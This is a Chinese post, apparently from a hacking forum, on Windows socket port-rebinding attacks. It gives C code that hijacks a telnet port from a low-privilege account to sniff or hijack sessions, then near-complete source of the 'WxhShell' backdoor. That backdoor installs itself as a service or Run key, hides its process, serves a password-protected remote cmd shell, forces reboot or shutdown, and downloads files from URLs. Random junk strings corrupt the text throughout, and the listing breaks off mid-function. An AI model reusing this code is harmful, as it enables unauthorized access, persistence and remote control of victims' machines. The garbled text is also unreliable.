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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2q# t/oN3T s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {Z;W|w1t \`x'r$CV saddr.sin_family = AF_INET; +7+
VbsFG V]}/e!XK\ saddr.sin_addr.s_addr = htonl(INADDR_ANY); #UU}lG >'^l>FPc bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); K@*m6) 'rf='Y 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 M:?eK
[h M 0-> 这意味着什么?意味着可以进行如下的攻击: |6\ ?"# K1z"..(2J 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 f7OfN#I fx.FHhVu 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) UeE& 8{=d T4Z("
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]@ETQ8QN
~PuPY:" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 4E3HYZ 1`_Mc ] 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 f%*-PW^* aI|)m8>)X 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )." zBc# ..;LU:F 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (B]Vw+/ l%B1JGu*F #include nC`#Hm.V% #include Tjure]wQz #include *GuCv3| #include IG +nrTY0 DWORD WINAPI ClientThread(LPVOID lpParam); }SpMHR` int main() iO#H_&L.p { "_'9KBd! WORD wVersionRequested; !l6B_[!@ DWORD ret; e~rBV+f
WSADATA wsaData; 2T?t[;- BOOL val; u[ 2R>= SOCKADDR_IN saddr; (U/[i.r5Cj SOCKADDR_IN scaddr; {yVi/*;f^ int err; D (qT$# SOCKET s; jy@}$g{ SOCKET sc; #D//oL"u] int caddsize; dJNYuTZ' HANDLE mt; .(9IAAwKn DWORD tid;
e%'9oAz wVersionRequested = MAKEWORD( 2, 2 ); cx_"{`+e err = WSAStartup( wVersionRequested, &wsaData ); drtQEc>qT if ( err != 0 ) { H3OH printf("error!WSAStartup failed!\n"); -oF4mi8S return -1; shn`>=0.& } mq'q@@:c saddr.sin_family = AF_INET; 6t]oSxN P'ZWAxd //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 aKCCFHq t! WlZ[9,:p1 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Q1eiU Y6 saddr.sin_port = htons(23); |7%$+g if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y!&dj95y { 7\{<AM?* printf("error!socket failed!\n"); <#|3z8N2 return -1; x6Z$lhZ } %q>gwq
A val = TRUE; {2Gp+& //SO_REUSEADDR选项就是可以实现端口重绑定的 +~FH'DsT if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _,Fwt { ~sSB.g printf("error!setsockopt failed!\n"); -ZihEyG?V return -1; :sT<<LtI- } yJb;V# //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j?z(fs-
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Y,E:? //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 103^\Av8 k )){1O if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) B u4N~0 { u> >t"w ret=GetLastError(); 0HxF#SlKM printf("error!bind failed!\n"); :^iR&`2~ return -1; >b*Pd
*f } |Ca$>]? listen(s,2); 8a?V h^ while(1) Uk*s`Y { ol`]6"Sc caddsize = sizeof(scaddr); J)g(Nw,O //接受连接请求 _5y)m5I sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >!WJ{M0 if(sc!=INVALID_SOCKET) uF(-h~ { Ti' GSL mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :l9C7o if(mt==NULL) yY_]YeeR { =~aJ]T}( printf("Thread Creat Failed!\n"); u4+VG5.rhT break; cVulJ6 } wRie{Vk } /[EI0~P CloseHandle(mt); TvdmgVNP } .Uih|h closesocket(s); n }MG WSACleanup(); ,9+@\ return 0; mbS
&> } UhEJznfi DWORD WINAPI ClientThread(LPVOID lpParam) #lVVSrF,- { OH=Ffy F, SOCKET ss = (SOCKET)lpParam; z5Nw+#m|
i SOCKET sc; D]oS R7h unsigned char buf[4096]; $k!@e M/R SOCKADDR_IN saddr; .-Ao%A W long num; )UJ]IB-Q|1 DWORD val; ^jCkM29eu DWORD ret; TD3R/NP //如果是隐藏端口应用的话,可以在此处加一些判断 oN _%oc //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 {I2j Lc saddr.sin_family = AF_INET; kc"U)> saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \*_a#4a saddr.sin_port = htons(23); t5e(9Yhj if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *2@q=R-1 { C8G['aQ printf("error!socket failed!\n"); Bq@G@Qi return -1; $6oLiYFX; } R`$Odplh> val = 100; HDy[/7" if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VNytK_F0P { :wn![<`3q ret = GetLastError(); e dD(s5 return -1; TS1k'<c? }
d;CD~s if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,g\.C+.S { l{y~N ret = GetLastError(); 9'4cqR return -1; ~sA}.7 } R(q
fP if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7z+NR&'M$ { }Rt<^oya* printf("error!socket connect failed!\n"); ,e,fOL closesocket(sc); U\b,W&%P closesocket(ss); 74Kl!A return -1; WnIh (
0 } E26ZVFg while(1) myJsRb5 { fitm* //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 % l5J //如果是嗅探内容的话,可以再此处进行内容分析和记录 * |,V$ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 v4S|&m num = recv(ss,buf,4096,0); {(aJrSE<z if(num>0) 8} S|iM send(sc,buf,num,0); x&?35B
i else if(num==0) Wxg|jP$~ break; N:&Gv'` num = recv(sc,buf,4096,0); 0c`wJktWK if(num>0) ]7br*t^zv send(ss,buf,num,0); _|s{G else if(num==0) nq$^}L3&~ break; b8`O7@ar } AalyEn&> closesocket(ss); f:BW{Cij;y closesocket(sc); WS,p}:yPZG return 0 ; r\em-%: } rN>f"/J
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< 下边附上一个代码,,WXhSHELL fM8 :Nt$ q|Ga
========================================================== K@?S0KMK Z/2#h<zj #include "stdafx.h" .-<o[(s ,NVQ C= #include <stdio.h> Z4rK$B #include <string.h> =MoPOib\n #include <windows.h> 8# 9.a]AX #include <winsock2.h> t4 aa5@r #include <winsvc.h> M'[J0*ip #include <urlmon.h> DuCq16'0T X}S<MA` #pragma comment (lib, "Ws2_32.lib") O*c+TiTb #pragma comment (lib, "urlmon.lib") okfhd{9 gIT"nG=a4 #define MAX_USER 100 // 最大客户端连接数 7@06x+! #define BUF_SOCK 200 // sock buffer Aw >DZ2 #define KEY_BUFF 255 // 输入 buffer 'Z;R!@Dm U?.VY@ #define REBOOT 0 // 重启 38JvJR yK} #define SHUTDOWN 1 // 关机 FVHEb\Z +VzR9ksJj #define DEF_PORT 5000 // 监听端口 i\N,4Fdor WJ/&Ag1 #define REG_LEN 16 // 注册表键长度 HhIa=,VY #define SVC_LEN 80 // NT服务名长度 tn:tM5m M|e@N // 从dll定义API $ABW|r typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r1t TY? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c!6.D typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rw58bkh6 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?L7z\b"_~ P PmE.%_ // wxhshell配置信息 m[%&KW( struct WSCFG { 7eZ,;
x int ws_port; // 监听端口 gX]?`u char ws_passstr[REG_LEN]; // 口令 lKwI lp int ws_autoins; // 安装标记, 1=yes 0=no .hn"NXy char ws_regname[REG_LEN]; // 注册表键名 z!?xz char ws_svcname[REG_LEN]; // 服务名 (i&:=Bfn) char ws_svcdisp[SVC_LEN]; // 服务显示名 h\:"k_u# char ws_svcdesc[SVC_LEN]; // 服务描述信息 vr2t MD char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q,kdr)- int ws_downexe; // 下载执行标记, 1=yes 0=no FzW7MW>\x char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" %nT!u!# char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uBH4E;[f P;][i| x }; lg~Gkd6 #8rLB( // default Wxhshell configuration -=@d2LY struct WSCFG wscfg={DEF_PORT, D8G5,s-. "xuhuanlingzhe", 2I>X]r.S!1 1, PA&Ev0`+ "Wxhshell", !w{4FE74 "Wxhshell", xrf z-"n4 "WxhShell Service", ?7*.S Lt "Wrsky Windows CmdShell Service", Z`T]jm-3 "Please Input Your Password: ", u{o3 1, 4*P#3 B'@V " http://www.wrsky.com/wxhshell.exe", ;M1# M: "Wxhshell.exe" ACc tyGd }; ^|hlY]Ev *%E4,(T // 消息定义模块 r roI char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~l+2Z4nV char *msg_ws_prompt="\n\r? for help\n\r#>"; .J"QW~g^ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; kNR -eG char *msg_ws_ext="\n\rExit."; QV)>+6\ char *msg_ws_end="\n\rQuit."; ";yey ] char *msg_ws_boot="\n\rReboot..."; u0zF:: char *msg_ws_poff="\n\rShutdown..."; qHaH=g% char *msg_ws_down="\n\rSave to "; :m]H?vq] \ OD]`oJ| char *msg_ws_err="\n\rErr!"; J}BN}|Y@2 char *msg_ws_ok="\n\rOK!"; ?I{L^j^#4 9sG]Q[:.] char ExeFile[MAX_PATH]; xy))}c% int nUser = 0; -M5vh~Tp HANDLE handles[MAX_USER]; dhv?36uE int OsIsNt; f$ 9O0,}%O hK+6S3-Ez SERVICE_STATUS serviceStatus; >~:Md SERVICE_STATUS_HANDLE hServiceStatusHandle; SO4?3wg7 G!dx)v
// 函数声明 \Kr8k`f int Install(void); 2*Zk^h= int Uninstall(void); G%iTL"6 int DownloadFile(char *sURL, SOCKET wsh); %e^GfZ int Boot(int flag); =gNPS0H void HideProc(void); l0 =[MXM4 int GetOsVer(void); }@x!r=O)I int Wxhshell(SOCKET wsl); e`n+U-)z void TalkWithClient(void *cs); _Z7`tUS-j int CmdShell(SOCKET sock); ;`Nh@*_ int StartFromService(void); t.y-b`v int StartWxhshell(LPSTR lpCmdLine); :^7>kJ5? z_93j3# VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O,6Wdw3+-3 VOID WINAPI NTServiceHandler( DWORD fdwControl ); MH=7(15R ;NU-\<Q{ // 数据结构和表定义 `6$|d,m5 SERVICE_TABLE_ENTRY DispatchTable[] = )Zf1%h~0r { 50_[n$tqE {wscfg.ws_svcname, NTServiceMain}, !7Eodq-0 {NULL, NULL} wg%g(FO }; J0V`sK k/P.[5 // 自我安装 Y<L35
? int Install(void) L4,b ThSG { HS[($ char svExeFile[MAX_PATH]; ]Hp>~Zvbb HKEY key; ])}a^]0q strcpy(svExeFile,ExeFile); m g,1*B' _j+!Fd // 如果是win9x系统,修改注册表设为自启动 !O,Sq/=. if(!OsIsNt) { U%q-#^A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p^CTHk_| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G54J'*Z RegCloseKey(key); }R`Rqg-W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (+c1 .h RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ],_+J* RegCloseKey(key); )/?H]o$NU return 0; d]poUN~x } h5SJVa } dgL>7X=7 } D/?Ec\t else { OvAhp&k +$|fUn{ // 如果是NT以上系统,安装为系统服务 W:,Wex^9n SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K>dB{w#gS if (schSCManager!=0) om`T/@_, { N0H=;CIQ SC_HANDLE schService = CreateService V"m S$MN ( ^|H={pd'c0 schSCManager, #l ZK_N|1x wscfg.ws_svcname, w9{C"K?u= wscfg.ws_svcdisp, fqhL"Ah
SERVICE_ALL_ACCESS, +x(#e'6p SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R*:>h8 SERVICE_AUTO_START, [% C,&h5 SERVICE_ERROR_NORMAL, RN[I%^$" svExeFile, SRwD`FF NULL, |~r-VV(= NULL, T5
(|{- NULL, @^A5{qQ\ NULL, #obRr#8 NULL '`3#FCg ); @@)2 12 if (schService!=0) odCt6Du { MfP)Pk5 CloseServiceHandle(schService); yEq7ueJ' CloseServiceHandle(schSCManager); TG%B:^Yz! strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
;%9]G|*{ strcat(svExeFile,wscfg.ws_svcname); $P=C7; if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *!%lBt{2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U}LW8886 RegCloseKey(key); =eDIvNps return 0; =j62tDS } gxN>q4z } J0?kEr CloseServiceHandle(schSCManager); 9<6q(]U } ovdJ[bO } >>
zd Y3Fj3NwS return 1; O2?C * } 1@DC#2hPr >#w;67he2 // 自我卸载 ZEAUoC1E1 int Uninstall(void) SVZocTt { v1TFzcHl< HKEY key; Ho>Np& xWxc1tT` if(!OsIsNt) { 9 3>4n\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HeOdCr-PN RegDeleteValue(key,wscfg.ws_regname); D5TDg\E RegCloseKey(key); c2y,zq|H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r3W3;L RegDeleteValue(key,wscfg.ws_regname); K]hp-QK< RegCloseKey(key); $"r9U|6kk return 0; c-sjYJXKM* } Q?#I{l)V( } 2;8m0+tl } uh)S;3| else { 1^!SuAA@ w G %W{T$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;V
xRaj? if (schSCManager!=0) BmG(+;;& { /|IPBU 5 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vrkY7L3\ if (schService!=0) X2z<cJG|d@ { U ? +_\ if(DeleteService(schService)!=0) { x4oWZEd CloseServiceHandle(schService); 4J2^zx,H CloseServiceHandle(schSCManager); Xw-[Sf]p return 0; aQCu3T } ;-+q*@sa] CloseServiceHandle(schService); .T|
}rB<c } 0zaK&]oY0 CloseServiceHandle(schSCManager); Oynb"T&8 } *m~-8_ >; } gc9R;B1 *doNPp)m return 1; [9 W@<p } Smr{+m a 3v/B*M VI // 从指定url下载文件 2cR[~\_9. int DownloadFile(char *sURL, SOCKET wsh) zLpCKndj { K~N$s"Qx HRESULT hr; &mwd0%4 char seps[]= "/"; E/P~HE{ char *token; .ZpOYhk char *file; i%hCV o char myURL[MAX_PATH]; WsI`!ez;D char myFILE[MAX_PATH]; !@xO]Jwv g!'R}y strcpy(myURL,sURL); > |$]=e,Z token=strtok(myURL,seps); l<6u@,%s
while(token!=NULL) @(3F4Z.i%. { mdj%zJ8/ file=token;
`o[l%I\Q token=strtok(NULL,seps); Dac)`/ } b 7UJ z
p E| GetCurrentDirectory(MAX_PATH,myFILE); i"^> sk strcat(myFILE, "\\"); T] zEcx+e strcat(myFILE, file); %FO{:@CH send(wsh,myFILE,strlen(myFILE),0); O tG\Uw8 send(wsh,"...",3,0); rE3dHJN; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {& o^p! if(hr==S_OK) UUah5$Iy return 0; i0vm00oT else D(!^$9e9b return 1; p4`1^}f&Ie G]^[i6PQs } w!.@64- yvAO"43 // 系统电源模块 [q<'ty int Boot(int flag) BR,-:?z {
}qNc `8h HANDLE hToken; Gt w>R TOKEN_PRIVILEGES tkp; $Ome]+0 2jsbg{QS#_ if(OsIsNt) { *FlPGBjJ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "6B7EH LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fz&B$1;8 tkp.PrivilegeCount = 1; OQVrg2A%( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %TB(E<p` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I6>J.6luF9 if(flag==REBOOT) { RK3 yq$ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $l7^-SK`E return 0; 64s;EC } uqMw-f/ else { $[gN#QW% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y'v[2s return 0; ]lB zp D } /:{%X(8 } Cf{F"o else { $ghZ<Y2}9 if(flag==REBOOT) { SQKhht`M if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dmFn0J-\ return 0; NYm"I`5w } !`DRJ)h else { I \:WD" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <`H0i*|Ued return 0; ll:UIxx } ZnG.::&: } V Z(/g"9 YOCEEh? return 1; $.G 7Vt } 9U8M|W|d S,Y|;p<+^ // win9x进程隐藏模块 c}(WniR-" void HideProc(void) *@U{[J { K,b
M9>} 3DU1c?M: HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ndmt$(b if ( hKernel != NULL ) Z>[7#;; { 2*#|t: (c pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f5jl$H. ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JF~i.+{h FreeLibrary(hKernel); u-_r2U } Hbm 4oYN _;lw,;ftA return; $( hT{C,K } $] 6u#5 @MW@mP)# // 获取操作系统版本 +-9vrEB int GetOsVer(void) )uPJ?
2S9 { BZR{}Aj4pa OSVERSIONINFO winfo; ^t>mdxuq winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;KeU f(tH GetVersionEx(&winfo); ]hl*6 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 12$0-@U return 1; >)><u4} else . "Ms7= return 0; 1{}p_"s> } U&?hG> SI (f&T( // 客户端句柄模块 |,8z"g int Wxhshell(SOCKET wsl) -<iP$,bq72 { @[GV0*yz$ SOCKET wsh; 6j#JhcS+ struct sockaddr_in client; d2\!tJm DWORD myID; Ni$'#
W?t %#6@PQ[R. while(nUser<MAX_USER) fFQ|dE;cF { TlG>)Z@/ int nSize=sizeof(client); N&9o 1_} wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T j$'B[cv if(wsh==INVALID_SOCKET) return 1; !avol/* 9&mSF0q handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bO~y=Pa\ if(handles[nUser]==0) mHD_cgKN closesocket(wsh); WT
*"V<Z else R@e'=z[%1 nUser++; 8K%N7RL| } /:dLqyQ_V WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }nmlN 2YD\KXDo return 0; iFI74COam } n1[c\1 t],a1I.gk // 关闭 socket <_?zln:4. void CloseIt(SOCKET wsh) j,IRUx13f { (?FH`< closesocket(wsh); Hv,|XE@Y nUser--; Ufr@j` * ExitThread(0); pR0[qsQM } ,Oo`*'a[o7 QcegT/vO // 客户端请求句柄 0K!3Ny9( void TalkWithClient(void *cs) eJDZ|$ { z^Hc'oVXj: 0<M-asI? SOCKET wsh=(SOCKET)cs; J^!;$Hkd char pwd[SVC_LEN]; ;vx5 =^7P char cmd[KEY_BUFF]; 1gI7$y+? char chr[1]; -I< >Ab int i,j; | dQ>)_ kVnRSg}R while (nUser < MAX_USER) { X>(1fra4 ,67Q!/O if(wscfg.ws_passstr) { MK<
y$B{} if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ('J/Ww< //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o3WOp80hz //ZeroMemory(pwd,KEY_BUFF); ChBf:`e i=0; ,H7X_KbFD4 while(i<SVC_LEN) { Ee>VA_ss dQ:,pe7A // 设置超时 z]7 WC fd_set FdRead; A(Ct^/x- struct timeval TimeOut; b?wrOS FD_ZERO(&FdRead);
Dy08.Sss FD_SET(wsh,&FdRead); b,!C8rJ TimeOut.tv_sec=8; !R{IEray TimeOut.tv_usec=0; JsaXI:%1 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \!KE_7HRu if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?Y=aO(}=h 1]xk:u4LA if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CEfqFn3^ pwd =chr[0]; 8$FH;= if(chr[0]==0xd || chr[0]==0xa) { n Ja!&G& pwd=0; r6<;bO( break; S
?Zh#`(* } s{^98* i++; }U]jy } {i;,Io7W 5"%.8P // 如果是非法用户,关闭 socket q<RjAi if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )\wkVAm } PgtLyzc Ku5||u.F4* send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sG g458 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Bwg(f_[1 uHbg&eW while(1) { v>X!/if<y EEe$A?a; ZeroMemory(cmd,KEY_BUFF); Upz)iOqLi uYW4$6S3 // 自动支持客户端 telnet标准 G?4@[m j=0; O]: 9va while(j<KEY_BUFF) { tFU4%c7V if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $v>q'8d cmd[j]=chr[0]; A;cA|`b if(chr[0]==0xa || chr[0]==0xd) { _|~Dj)z cmd[j]=0; =<\22d5L break; R~<N*En~ } :>-zT[Lcn j++; HwU9y } E|pT6 ]w *"KG!( // 下载文件 q@.>eB'92P if(strstr(cmd,"http://")) { IIk_!VzT send(wsh,msg_ws_down,strlen(msg_ws_down),0); jN6V`Wh_ if(DownloadFile(cmd,wsh)) Lf_Y4a# send(wsh,msg_ws_err,strlen(msg_ws_err),0); n%Oi~7> else Q0A4} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -jQ*r$iRE } a)|y0w)vV else { eP~bl
lpi"@3 switch(cmd[0]) { Y S3~sA WZa6*pF // 帮助 -TD\?Q case '?': { }L0
[Jo: send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s|IBX0^@ break; OvH:3"Sdy } EBh dP // 安装 # epP~J_f case 'i': { wv~:^v' if(Install()) @Y0ZW't send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9nY`rF8@ else \?
/' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Whd > break; X5owAc6 } $Sc _E:`] // 卸载 j"Jf|Hq $ case 'r': { |E~c#lV if(Uninstall()) mG)5xD send(wsh,msg_ws_err,strlen(msg_ws_err),0); t?hfP2&6 else 2poo@]M/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); stiF`l break; L|1,/h
8p } ,#;hI{E // 显示 wxhshell 所在路径 MkW=sD_ case 'p': { V 7,dx@J- char svExeFile[MAX_PATH]; cvcZ\y strcpy(svExeFile,"\n\r"); 2:
QT`e& strcat(svExeFile,ExeFile); MKbcJZe send(wsh,svExeFile,strlen(svExeFile),0); \.2i?<BC break; &JX<)JEB=< } X~IilGL8: // 重启 zk<V0NJIL* case 'b': { -!!]1\S*Y send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [4?r0vO if(Boot(REBOOT)) y)zZ:lyIq send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?I]AE&4' else { DE.].FD' closesocket(wsh); ##mZ97>$ ExitThread(0); RKLE@h7[? } 3$hIc) break; s.4+5rE } E6 oC^,ZRy // 关机 L#SW! case 'd': { +'8a>K^ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cr;:5D%_ if(Boot(SHUTDOWN)) Kyx9_2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); fXWy9 #M else { F'M X9P closesocket(wsh); 4prJ!k ExitThread(0); (uX?XX^ } !h1:AW_iz break; Bq$IBAot } f?d5Ltg // 获取shell =]%,&Se case 's': { ZtZ3I?%U3 CmdShell(wsh); lEl.'X$ closesocket(wsh); |ufL s ExitThread(0); brp3xgQ`] break; =rymd3/ } 0
s+X:*C~ // 退出 RP$u/x"b case 'x': { '( I0VJJ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -]wEk%j CloseIt(wsh); ECt<\h7} break; OPN\{<`*d } kNK0KL // 离开 =F|9ac9X case 'q': { j-d&4,a:c send(wsh,msg_ws_end,strlen(msg_ws_end),0); \^6 [^\@[ closesocket(wsh); 2|x
!~e. WSACleanup(); Hc\C0V< exit(1); UYxn?W.g break; SY|K9$M^ } eL~xS: VT } 'IY?=#xr'` } \ Bj{.jL e1g3a1tnWl // 提示信息 /4O))}TX if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WowT!0$ } $y6 <2w%b } U;/2\Ii
!p$p 7 return; <O7!( } Vw H|ed$ .K84"Gdx // shell模块句柄 mhVLlbY|t int CmdShell(SOCKET sock) :%&
E58 { -TVwoK STARTUPINFO si; I;Mm +5A ZeroMemory(&si,sizeof(si)); 3!8(A/YP; si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
g*a+$' si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PP{9Y Vr PROCESS_INFORMATION ProcessInfo; P@PF"{S char cmdline[]="cmd"; ^'[QCwY~ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >3p~>;9sc return 0; E"9(CjbQ[ } \(Oc3+n6 7f+@6jqD\) // 自身启动模式 tTBDb int StartFromService(void) I#xdksY { y?a71b8m typedef struct yZ{yzv'D& { 2*Qi4%s# DWORD ExitStatus; $ (;:4 DWORD PebBaseAddress; |'-aR@xJ DWORD AffinityMask; }$z(?b DWORD BasePriority; 2$Xof ULONG UniqueProcessId; ]7}!3 m ULONG InheritedFromUniqueProcessId; ~-Kx^3(# } PROCESS_BASIC_INFORMATION; 2b7-=/[6
<=p>0L PROCNTQSIP NtQueryInformationProcess; 0 aH&M4 .^*;hZ~4% static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B!pz0K*uG static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zYV{ |Z p/
xlR[ HANDLE hProcess; mDz44XO PROCESS_BASIC_INFORMATION pbi; b9rQQS &V1d"";SZ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vD@|]@gq if(NULL == hInst ) return 0; }xC2~
Jy/<
